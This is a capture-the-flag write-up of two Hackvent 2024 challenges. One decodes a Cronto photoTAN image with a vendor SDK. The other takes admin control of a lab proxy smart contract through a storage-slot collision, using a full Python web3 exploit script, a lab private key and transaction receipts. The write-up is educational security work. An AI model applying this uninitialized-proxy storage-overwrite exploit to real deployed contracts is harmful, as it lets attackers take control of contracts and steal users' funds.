Hackvent 2024 - Leet
The three leet challenges presented challenges about Android reversing, smart contract exploitation, and a Linux binary exploitation challenge. I was only able to complete the first two during this Hackvent season.
HV24.11
Challenge
HV24.11 Christmas Dots | |
---|---|
Categories: |
OPEN_SOURCE_INTELLIGENCE ANDROID REVERSE_ENGINEERING |
Level: | leet |
Author: | coderion |
Santa was reading through wishes from children, when he suddenly found this very suspicious, colorful image. Can you help him decode it?
</picture>
Background
The first challenge here is identifying the data scheme used in the middle of the ball. It’s part of a multi-factor authentication scheme known as “photoTAN”. The protocol is discussed in this paper, but it doesn’t go into how the data is encoded. This form of auth is common in German banks (such as Commerzbank and Deutsche Bank).
The technology behind this is Cronto Visual Transaction Signing from OneSpan. Their encoding scheme is proprietary, and they’ve apparently been hostile to those who attempt to reverse engineer it and publish decoders.
Solve Via SDK
This is how I originally solved the challenge.
SDK
OneSpan does offer an SDK for interacting with these codes, the Mobile Security Suite SDKs. I’ll create an account and download this. In the Zip, there are more archives:
oxdf@hacky$ ls MSS\ 4.36.0/
'Image Generator SDK 4.24.0.zip' 'Image Scanner SDK 4.32.0.zip' 'Notification SDK 4.34.0.zip' 'Orchestration SDK 5.10.0.zip' 'Utilities SDK 4.31.0.zip'
I’ll unzip the Image Scanner, and find it has a sample application:
oxdf@hacky$ ls MSS\ 4.36.0/Image\ Scanner\ SDK/Android/
Bin Documentation Sample
I’ll install Android Studio, and then build this application with gradle, abut it runs into an issue:
oxdf@hacky$ ./gradlew clean build
> Configure project :app
...[snip]...
FAILURE: Build failed with an exception.
* What went wrong:
Execution failed for task ':app:checkDebugAarMetadata'.
> Could not resolve all files for configuration ':app:debugRuntimeClasspath'.
> Could not find :QRCodeScannerSDK:.
Searched in the following locations:
- file:/media/sf_CTFs/hackvent2024/day11/MSS%204.36.0/Image%20Scanner%20SDK/Android/Sample/app/aars/QRCodeScannerSDK.aar
Required by:
project :app
...[snip]...
BUILD FAILED in 1s
3 actionable tasks: 3 executed
It can’t find Android/Sample/app/aars/QRCodeScannerSDK.aar
. That file is given in the SDK Bin
directory, so I’ll make a copy where it’s looking (there’s probably a more supported way to get this library available, but this worked for my purposes).
On the next run, it fails because of my Java version (too new?). This is set in app/build.gradle
:
$ cat app/build.gradle
apply plugin: 'com.android.application'
apply plugin: 'kotlin-android'
apply plugin: 'kotlin-kapt'
android { ...[snip]...
compileOptions {
sourceCompatibility JavaVersion.VERSION_17
targetCompatibility JavaVersion.VERSION_17
}
...[snip]...
I’ll set it back to 17 with update-alternartives
, and try again. It works
oxdf@hacky$ ./gradlew clean build
...[snip]...
BUILD SUCCESSFUL in 43s
91 actionable tasks: 91 executed
Some playing around with this, there’s actually a slight change I’ll make to the code to make it work a bit more nicely.
Many directories into src/main
there’s a file named QrCodeScannerSampleActivity.java
. This is where the application makes the call to the SDK and shows the result. Specifically, there’s a onActivityResult
function:
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (resultCode == RESULT_OK) { // The result is returned as an extra
int scannedImageFormat =
data.getIntExtra(QRCodeScannerSDKConstants.OUTPUT_CODE_TYPE, 0);
String scannedImageData = data.getStringExtra(QRCodeScannerSDKConstants.OUTPUT_RESULT);
String format =
scannedImageFormat == QRCodeScannerSDKConstants.CRONTO_CODE
? "Cronto Sign"
: "QR Code";
Log.d(TAG, "Scanned image data = " + scannedImageData);
Log.d(TAG, "Scanned image format = " + format);
resultTextView.setText(scannedImageData);
resultTextType.setText(getResources().getString(R.string.scanned_data_info, format));
} else if (resultCode == RESULT_CANCELED) {
resultTextView.setText(getResources().getString(R.string.scan_cancelled));
resultTextType.setText("");
} else if (resultCode == QRCodeScannerSDKConstants.RESULT_ERROR) { // Get returned exception
QRCodeScannerSDKException exception =
(QRCodeScannerSDKException)
data.getSerializableExtra(QRCodeScannerSDKConstants.OUTPUT_EXCEPTION);
onExceptionThrown(exception);
}
}
The call to resultTextView.setText
is where the result is set to the screen. The resulting data is in hex, but I’d rather it be ASCII. I’ll add a function to do that:
private String hexToAscii(String hexStr) {
StringBuilder output = new StringBuilder();
for (int i = 0; i < hexStr.length(); i += 2) {
String str = hexStr.substring(i, i + 2);
int decimal = Integer.parseInt(str, 16);
output.append((char) decimal);
}
return output.toString();
}
And update that line:
resultTextView.setText(hexToAscii(scannedImageData));
Now I’ll build again.
Install on Phone
I’ll install this APK on an old Android phone. On launching it, it offers a simple screen to scan a code:
I’ll tap “Launch System Camera” and scan the image. The result it:
Solve via Demo App
There’s a demo application from OneSpan available here. I’ll download it and run it from my old Android phone. On running the app, I’ll need to select the “My Bank” application and skip the request to login. Then I’ll get a menu:
I’ll select “Scan a Cronto”, and it launches the camera. On scanning the code, it pops up asking me to choose a pin. I’ll enter whatever to get past this, and it fails with an error.
Tapping the gear at the top right, then “Advanced Features” –> “Recent activity logs” shows a failed “Orchestration profile activation with scan”. Going into the details, the flag is there:
Flag: HV24{cr0nt0_r3v_c0ngr4ts}
HV24.12
Challenge
HV24.12 Santa's Proxy Puzzle | |
---|---|
Categories: | EXPLOITATION |
Level: | leet |
Author: | HaCk0 |
Unwrap a festive smart contract vulnerability where storage regions become your playground and holiday cheer meets digital mischief. Ho ho ho… or is it hax hax hax?
Start the service, analyze the resource and get the flag.
The download has four .sol
files:
oxdf@hacky$ unzip sources.zip
Archive: sources.zip
inflating: Proxy.sol
inflating: Wallet1.sol
inflating: Wallet2.sol
inflating: Wallet3.sol
The docker instance presents a webpage with information about the challenge:
Contract Analysis
Proxy.sol
This contract is a Proxy patterned smart contract, as discussed in this blog post. It explicitly defines memory locations meant to hold two values, ADMIN_SLOT
and IMPLEMENTATION
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Proxy {
bytes32 internal constant ADMIN_SLOT = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0d00;
bytes32 internal constant IMPLEMENTATION = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cfb;
The constructor as well as the functions for getting and setting the admin and the implementation then use the sstore
and sload
instructions to read store and load the values into those addresses:
constructor(address _implementation) {
address admin = msg.sender;
assembly {
sstore(ADMIN_SLOT, admin)
sstore(IMPLEMENTATION, _implementation)
}
}
function getAdmin397fa() public view returns (address) {
bytes32 slot = ADMIN_SLOT;
bytes32 admin;
assembly {
admin := sload(slot)
}
return address(uint160(uint256(admin)));
}
function setAdmin17e0(address newAdmin) public {
require(msg.sender == getAdmin397fa(), "nope");
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
function getImplementation1599d() public view returns (address) {
bytes32 slot = IMPLEMENTATION;
bytes32 implementation;
assembly {
implementation := sload(slot)
}
return address(uint160(uint256(implementation)));
}
function setImplementation743a(address newImplementation) public {
require(msg.sender == getAdmin397fa(), "nope");
bytes32 slot = IMPLEMENTATION;
assembly {
sstore(slot, newImplementation)
}
}
Setting myself to admin is the goal.
The last three functions have to do with delegation:
function _delegate() private {
address implementation = getImplementation1599d();
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
fallback() external {
_delegate();
}
receive() external payable {
_delegate();
}
}
If coin is sent to this contract, or if any other functions are called on it (fallback
), it will call _delegate
, which will get the current implementation address, and then use calldatacopy
and delegatecall
to execute the called function from the implementation
contract.
The important thing to note about delegatecall
is that it calls a function from another contract, but within the memory space of the calling contract! It is very important that the memory layout of the two contracts matches or issues will arise.
Wallet3.sol
The three Wallet .sol
files are similar, and Wallet3.sol
is the only one that has the function needed to complete this challenge.
All three wallet contracts have functions for initialization, sending, getting it’s owner. Wallet3 one also has a “notes” capability, where notes can be set and retrieved.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
contract Wallet3 {
address private owner;
bytes32[] private notes;
event NoteAdded(bytes32 note, uint256 index);
event Sent(address recipient);
modifier onlyOwner() {
require(tx.origin == owner, "nope");
_;
}
function initialize59ad(address _owner) public {
require(owner == address(0), "nope");
owner = _owner;
}
function send47de(address recipient) public onlyOwner {
(bool success,) = payable(recipient).call{value: 0.5 ether}("");
require(success, "Recipient should accept ether");
emit Sent(recipient);
}
function addNote3dee(bytes32 note) public onlyOwner {
notes.push(note);
emit NoteAdded(note, notes.length - 1);
}
function getOwner15569() public view returns (address) {
return owner;
}
function getNote179e(uint256 index) public view returns (bytes32) {
return notes[index];
}
receive() external payable {}
}
Connect to Blockchain
Curl
I can query the RPC endpoint with curl
to get my chain id:
oxdf@hacky$ curl https://d8145654-2527-4de7-b563-1f227011e9da.i.vuln.land/rpc -H "Content-Type: application/json" -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_chainId\",\"params\":[],\"id\":1}"
{"jsonrpc":"2.0","id":1,"result":"0x7a69"}
0x7a69 = 31337, which seems about right.
Metamask
If I install the Metamask Firefox plugin, I can add a network:
Then I can import and account and give the private key from the webpage:
Python
The thing I will use the most is Python. I’ll use the Solidity Compiler solc
to compile the contracts into a JSON file:
oxdf@hacky$ solc --optimize --combined-json abi,bin -o compiled Proxy.sol Wallet1.sol Wallet2.sol Wallet3.sol
Warning: Transient storage as defined by EIP-1153 can break the composability of smart contracts: Since transient storage is cleared only at the end of the transaction and not at the end of the outermost call frame to the contract within a transaction, your contract may unintentionally misbehave when invoked multiple times in a complex transaction. To avoid this, be sure to clear all transient storage at the end of any call to your contract. The use of transient storage for reentrancy guards that are cleared at the end of the call is safe.
--> Wallet1.sol:13:13:
|
13 | tstore(0, 1)
| ^^^^^^
oxdf@hacky$ ls compiled/
combined.json
I can use that file to get access to functions on the contracts. I’ll start with imports and constants:
import json
import sys
from web3 import Web3
from eth_account import Account
web3 = Web3(Web3.HTTPProvider(f"https://{sys.argv[1]}/rpc"))
web3.eth.default_account = web3.eth.accounts[0]
priv_key = "0xbae59a37d25cba3c346674ed6ce224d9eb3b88ad081774961769f9c94a3ce969"
my_addr = Account.from_key(priv_key).address
wallets = {
"Wallet1": "0xfbb9b1f83ba703e1a5e6a92c7f892b33cda3299c",
"Wallet2": "0xab278c855517ae2577cff48c7c1759e1760ddb76",
"Wallet3": "0xe5ed47bcc12028b9be183a80b8821119e9397ef7",
}
proxy = "0xe6cc6358e23fcb274c0e0696d6f9635bd9f223b1"
Now I’ll use the JSON file to get the ABI for each contract, and use that to get a contract object for each wallet and the Proxy:
with open("build/combined.json") as f:
combined_json = json.load(f)
abis = {
contract_name: combined_json["contracts"][f"{contract_name}.sol:{contract_name}"]["abi"]
for contract_name in ["Wallet1", "Wallet2", "Wallet3", "Proxy"]
}
contracts = {
wallet_name: web3.eth.contract(address=Web3.to_checksum_address(address), abi=abis[wallet_name])
for wallet_name, address in wallets.items()
}
contracts["Proxy"] = web3.eth.contract(address=Web3.to_checksum_address(proxy), abi=abis["Proxy"])
If I want to call wallet functions through the Proxy contract, I’ll need to create “contracts” for those as well. I’ll do that by loading a contract with the ABI from the wallet and the address of the proxy:
for i in range(1, 4):
contracts[f"Proxy{i}"] = web3.eth.contract(address=Web3.to_checksum_address(proxy), abi=abis[f"Wallet{i}"])
Contract Enumeration
I’ll make some helper functions that look at querying what values like the implementation, admin, and the owers are set to:
def print_wallet_owners():
for wallet in wallets:
result = get_wallet_owner(wallet)
print(f"{wallet}: {result}")
print("Proxy: " + contracts['Proxy1'].functions.getOwner15569.call())
def get_wallet_owner(wallet):
return contracts[wallet].functions.getOwner15569().call()
def get_current_implemtnation():
return contracts["Proxy"].functions.getImplementation1599d.call()
def print_implementation():
implementation = get_current_implemtnation()
if implementation.lower() in wallets.values():
wallet = [w for w, a in wallets.items() if a.lower() == implementation.lower()][0]
else:
wallet = "Unknown"
print(f"Implementation: {get_current_implemtnation()} ({wallet})")
def get_admin():
return contracts["Proxy"].functions.getAdmin397fa().call()
If I called these after the setup:
print(f"My address: {my_addr}")
print_wallet_owners()
print_implementation()
print(f"Admin: {get_admin()}")
This prints:
oxdf@hacky$ python solve.py 275e60da-2282-4300-99ad-b4ff7b4177b2.i.vuln.land
My address: 0x8469afEae8B562Ab9653775BE6ace82E1A304869
Wallet1: 0x0000000000000000000000000000000000000000
Wallet2: 0x0000000000000000000000000000000000000000
Wallet3: 0x0000000000000000000000000000000000000000
Proxy: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
Implementation: 0xe5ed47BCC12028b9be183A80b8821119E9397eF7 (Wallet3)
Admin: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
The owner
values for the three wallet contracts are all null. That means I can call the initialize59ad
function and set my address as owner, and then run any function in each contract.
If I run it again a minute later:
oxdf@hacky$ python solve.py 275e60da-2282-4300-99ad-b4ff7b4177b2.i.vuln.land
My address: 0x8469afEae8B562Ab9653775BE6ace82E1A304869
Wallet1: 0x0000000000000000000000000000000000000000
Wallet2: 0x0000000000000000000000000000000000000000
Wallet3: 0x0000000000000000000000000000000000000000
Proxy: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
Implementation: 0xab278C855517AE2577cfF48C7C1759e1760DDB76 (Wallet2)
Admin: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
It seems that the implementation contract is rotating periodically.
Memory Analysis
There’s an article on Alchemy called What is Smart Contract Storage Layout that is very good at explaining how memory is laid out. Every variable is mapped into a “slot”, starting at slot 0. Slots are 32 bytes, and each contract has 2256 slots.
I already saw above where the Proxy contract was explicitly defining the slot numbers for it’s two variables.
In Wallet3
, there are two variables, owner
and notes
. owner
, as a statically sized object less than 32 bytes in size, just takes a slot, filling slot 0.
notes
is a dynamically-sized variable, an array that can grow to any size. For these, the length of the array is stored in the next slot (so for Wallet3
, slot 1). The successive items in the array are stored in the slot calculated as the keccak256
hash of the slot id (borrowing a diagram from the documentation):
keccak256(1)
is 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6, as calculated by CyberChef:
Exploit
Strategy
Becausae it has not been initialized, I can call the initialize59ad
function on Wallet3
and become the owner of it. This allows me to add notes.
I’ll wait for Wallet3 to be the implementation
, and then call addNote3dee
through the proxy, writing notes into the proxy’s memory.
Notes will go into slots as follows:
00: b10e2d...[snip]...b7fa0cf6
01: b10e2d...[snip]...b7fa0cf7
02: b10e2d...[snip]...b7fa0cf8
03: b10e2d...[snip]...b7fa0cf9
04: b10e2d...[snip]...b7fa0cfa
05: b10e2d...[snip]...b7fa0cfb <-- IMPLEMENTATION
06: b10e2d...[snip]...b7fa0cfc
07: b10e2d...[snip]...b7fa0cfd
08: b10e2d...[snip]...b7fa0cfe
09: b10e2d...[snip]...b7fa0cff
10: b10e2d...[snip]...b7fa0d00 <-- ADMIN_SLOT
So on writing the 11th note, it’ll overwrite the value for the admin user.
Python
I’ll add code to change the Wallet3
owner to me:
wallet3_owner = get_wallet_owner("Wallet3")
if wallet3_owner == "0x0000000000000000000000000000000000000000":
print(f"Changing wallet3 to be owned by me: {my_addr}")
tx = contracts["Wallet3"].functions.initialize59ad(my_addr).transact()
receipt = web3.eth.wait_for_transaction_receipt(tx)
print_wallet_owners()
elif wallet3_owner == my_addr:
print("Wallet3 already owned by me")
else:
print("Wallet3 initialized to someone else. Exiting.")
sys.exit()
The first time I run this, it changes the owner to me:
oxdf@hacky$ python solve.py 275e60da-2282-4300-99ad-b4ff7b4177b2.i.vuln.land
My address: 0x8469afEae8B562Ab9653775BE6ace82E1A304869
Wallet1: 0x0000000000000000000000000000000000000000
Wallet2: 0x0000000000000000000000000000000000000000
Wallet3: 0x0000000000000000000000000000000000000000
Proxy: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
Implementation: 0xFbB9B1F83ba703E1A5E6A92C7f892B33Cda3299c (Wallet1)
Admin: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
Changing wallet3 to be owned by me: 0x8469afEae8B562Ab9653775BE6ace82E1A304869
Wallet1: 0x0000000000000000000000000000000000000000
Wallet2: 0x0000000000000000000000000000000000000000
Wallet3: 0x8469afEae8B562Ab9653775BE6ace82E1A304869
Proxy: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
The next time, it just skips that as it’s already me (and would fail if I tried to initialize as the value isn’t all nulls):
oxdf@hacky$ python solve.py 275e60da-2282-4300-99ad-b4ff7b4177b2.i.vuln.land
My address: 0x8469afEae8B562Ab9653775BE6ace82E1A304869
Wallet1: 0x0000000000000000000000000000000000000000
Wallet2: 0x0000000000000000000000000000000000000000
Wallet3: 0x8469afEae8B562Ab9653775BE6ace82E1A304869
Proxy: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
Implementation: 0xe5ed47BCC12028b9be183A80b8821119E9397eF7 (Wallet3)
Admin: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
Wallet3 already owned by me
Now I need code to wait for Wallet3
to be the implementation value:
while True:
current_implementation = get_current_implemtnation()
print("\r" + 100 * " ", end="")
print(f"\rCurrent Implementation is {[w for w, a in wallets.items() if a.lower() == current_implementation.lower()][0]}", end="")
if current_implementation.lower() == wallets["Wallet3"].lower():
break
for _ in range(10):
sleep(1)
print(".", end="", flush=True)
print()
I’ve made a loop that checks every 10 seconds, printing a “.” to show waiting every one second.
When it is Wallet3
, I want to write 11 notes. I’ll create a write_note
function:
def write_note(address):
if address.startswith("0x"): address = address[2:]
my_addr_bytes = bytes.fromhex(address).rjust(32, b'\x00')
tx = contracts["Proxy3"].functions.addNote3dee(my_addr_bytes).transact()
receipt = web3.eth.wait_for_transaction_receipt(tx)
print(receipt)
print()
Printing the receipt
is a bit verbose, but useful for troubleshooting.
I’ll need the 6th note to be the address or Wallet3
so that the implementation value is still right. The 11th should be my address.
for _ in range(10):
write_note(wallets["Wallet3"])
sleep(0.5)
write_note(my_addr)
admin = get_admin()
if admin.lower() == my_addr.lower():
print(f"Success! Admin is me: {admin}")
else:
print(f"Something went wrong. Admin is: {admin}")
It is possible that this breaks while it’s running. For example, if the implementartion contract is changed to something that isn’t Wallet3 while trying to write notes, or if I run out of gas (there’s a “Get Magic” button on the page to get more). I could manually add the right amount of notes, or just get a fresh instance. I could also look at making the code more robusts, checking for existing notes before writing, but this is good enough for getting the flag:
oxdf@hacky$ python solve.py 1014f2ed-448b-43f7-ad83-afcbdce8e876.i.vuln.land
My address: 0x8469afEae8B562Ab9653775BE6ace82E1A304869
Wallet1: 0x0000000000000000000000000000000000000000
Wallet2: 0x0000000000000000000000000000000000000000
Wallet3: 0x0000000000000000000000000000000000000000
Proxy: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
Implementation: 0xe5ed47BCC12028b9be183A80b8821119E9397eF7 (Wallet3)
Admin: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
Changing wallet3 to be owned by me: 0x8469afEae8B562Ab9653775BE6ace82E1A304869
Wallet1: 0x0000000000000000000000000000000000000000
Wallet2: 0x0000000000000000000000000000000000000000
Wallet3: 0x8469afEae8B562Ab9653775BE6ace82E1A304869
Proxy: 0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0
Current Implementation is Wallet3
AttributeDict({'type': 2, 'status': 1, 'cumulativeGasUsed': 74507, 'logs': [AttributeDict({'address': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'topics': [HexBytes('0x683760941d0a318793d001a410e651a64d535a82f56243db26544a40b51bc41c')], 'data': HexBytes('0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef70000000000000000000000000000000000000000000000000000000000000000'), 'blockHash': HexBytes('0xb683c9af9d1ef7a12566f6934f7693c400b7cceeff382a3dadaac457b8bf6118'), 'blockNumber': 105, 'blockTimestamp': '0x675c7d8a', 'transactionHash': HexBytes('0x8a1e518bedb139467027dc8e32597030ea7d6db868d3f1e0a295ca1f51ec13e7'), 'transactionIndex': 0, 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'transactionHash': HexBytes('0x8a1e518bedb139467027dc8e32597030ea7d6db868d3f1e0a295ca1f51ec13e7'), 'transactionIndex': 0, 'blockHash': HexBytes('0xb683c9af9d1ef7a12566f6934f7693c400b7cceeff382a3dadaac457b8bf6118'), 'blockNumber': 105, 'gasUsed': 74507, 'effectiveGasPrice': 946, 'blobGasPrice': 1, 'from': '0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0', 'to': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'contractAddress': None})
AttributeDict({'type': 2, 'status': 1, 'cumulativeGasUsed': 57407, 'logs': [AttributeDict({'address': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'topics': [HexBytes('0x683760941d0a318793d001a410e651a64d535a82f56243db26544a40b51bc41c')], 'data': HexBytes('0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef70000000000000000000000000000000000000000000000000000000000000001'), 'blockHash': HexBytes('0x0a6649aeeba492440b580e7f56a5b53c899883598c8772f71f29680bcafd08c2'), 'blockNumber': 106, 'blockTimestamp': '0x675c7d8c', 'transactionHash': HexBytes('0x9c42d3433fc251a3606802fca0b6b31c2a841a9d2f539eb23aac74433676b271'), 'transactionIndex': 0, 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'transactionHash': HexBytes('0x9c42d3433fc251a3606802fca0b6b31c2a841a9d2f539eb23aac74433676b271'), 'transactionIndex': 0, 'blockHash': HexBytes('0x0a6649aeeba492440b580e7f56a5b53c899883598c8772f71f29680bcafd08c2'), 'blockNumber': 106, 'gasUsed': 57407, 'effectiveGasPrice': 829, 'blobGasPrice': 1, 'from': '0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0', 'to': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'contractAddress': None})
AttributeDict({'type': 2, 'status': 1, 'cumulativeGasUsed': 57407, 'logs': [AttributeDict({'address': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'topics': [HexBytes('0x683760941d0a318793d001a410e651a64d535a82f56243db26544a40b51bc41c')], 'data': HexBytes('0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef70000000000000000000000000000000000000000000000000000000000000002'), 'blockHash': HexBytes('0x484f309573ac3508f539b05591dc1a4817e9932a6093b6244f1b9879e96b47b3'), 'blockNumber': 107, 'blockTimestamp': '0x675c7d8e', 'transactionHash': HexBytes('0x9fac16ce179fe98f920f791bc4147c3af5c9e9fd307ef0ef720a39f207c67a62'), 'transactionIndex': 0, 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'transactionHash': HexBytes('0x9fac16ce179fe98f920f791bc4147c3af5c9e9fd307ef0ef720a39f207c67a62'), 'transactionIndex': 0, 'blockHash': HexBytes('0x484f309573ac3508f539b05591dc1a4817e9932a6093b6244f1b9879e96b47b3'), 'blockNumber': 107, 'gasUsed': 57407, 'effectiveGasPrice': 726, 'blobGasPrice': 1, 'from': '0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0', 'to': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'contractAddress': None})
AttributeDict({'type': 2, 'status': 1, 'cumulativeGasUsed': 57407, 'logs': [AttributeDict({'address': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'topics': [HexBytes('0x683760941d0a318793d001a410e651a64d535a82f56243db26544a40b51bc41c')], 'data': HexBytes('0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef70000000000000000000000000000000000000000000000000000000000000003'), 'blockHash': HexBytes('0xb7d8a9c3902896ee45c1f295462d711557050dca9bb973a54672f626385a8b82'), 'blockNumber': 108, 'blockTimestamp': '0x675c7d90', 'transactionHash': HexBytes('0x694c6dd8e84519ebc2fd164fafed83952e1bdf9f54f336afaed634080a541d22'), 'transactionIndex': 0, 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'transactionHash': HexBytes('0x694c6dd8e84519ebc2fd164fafed83952e1bdf9f54f336afaed634080a541d22'), 'transactionIndex': 0, 'blockHash': HexBytes('0xb7d8a9c3902896ee45c1f295462d711557050dca9bb973a54672f626385a8b82'), 'blockNumber': 108, 'gasUsed': 57407, 'effectiveGasPrice': 636, 'blobGasPrice': 1, 'from': '0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0', 'to': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'contractAddress': None})
AttributeDict({'type': 2, 'status': 1, 'cumulativeGasUsed': 57407, 'logs': [AttributeDict({'address': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'topics': [HexBytes('0x683760941d0a318793d001a410e651a64d535a82f56243db26544a40b51bc41c')], 'data': HexBytes('0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef70000000000000000000000000000000000000000000000000000000000000004'), 'blockHash': HexBytes('0xad2a4afa4decfc3b07356e96c0723d48e6574a84c754279269acf13ae0ffb48b'), 'blockNumber': 109, 'blockTimestamp': '0x675c7d92', 'transactionHash': HexBytes('0x4ee3700defd0819791164bf936b6079263cbc939ebbe7fdb798551e87cd279bc'), 'transactionIndex': 0, 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'transactionHash': HexBytes('0x4ee3700defd0819791164bf936b6079263cbc939ebbe7fdb798551e87cd279bc'), 'transactionIndex': 0, 'blockHash': HexBytes('0xad2a4afa4decfc3b07356e96c0723d48e6574a84c754279269acf13ae0ffb48b'), 'blockNumber': 109, 'gasUsed': 57407, 'effectiveGasPrice': 557, 'blobGasPrice': 1, 'from': '0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0', 'to': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'contractAddress': None})
AttributeDict({'type': 2, 'status': 1, 'cumulativeGasUsed': 35407, 'logs': [AttributeDict({'address': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'topics': [HexBytes('0x683760941d0a318793d001a410e651a64d535a82f56243db26544a40b51bc41c')], 'data': HexBytes('0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef70000000000000000000000000000000000000000000000000000000000000005'), 'blockHash': HexBytes('0xa120eff0cb78a77ecc6b0f90b61e12d8fbe50d13c074ac3149fef4318490cad2'), 'blockNumber': 110, 'blockTimestamp': '0x675c7d94', 'transactionHash': HexBytes('0xbd5e0e67bb6beb84f11590abefcbfd1c3b57e33c5ddd5fa26d939852f6b30170'), 'transactionIndex': 0, 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000010001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'transactionHash': HexBytes('0xbd5e0e67bb6beb84f11590abefcbfd1c3b57e33c5ddd5fa26d939852f6b30170'), 'transactionIndex': 0, 'blockHash': HexBytes('0xa120eff0cb78a77ecc6b0f90b61e12d8fbe50d13c074ac3149fef4318490cad2'), 'blockNumber': 110, 'gasUsed': 35407, 'effectiveGasPrice': 488, 'blobGasPrice': 1, 'from': '0xED062CFaCcbaFC3789636c1d19e74CA80e05b7b0', 'to': '0xe6Cc6358e23fCb274c0E0696D6f9635BD9f223b1', 'contractAddress': None})
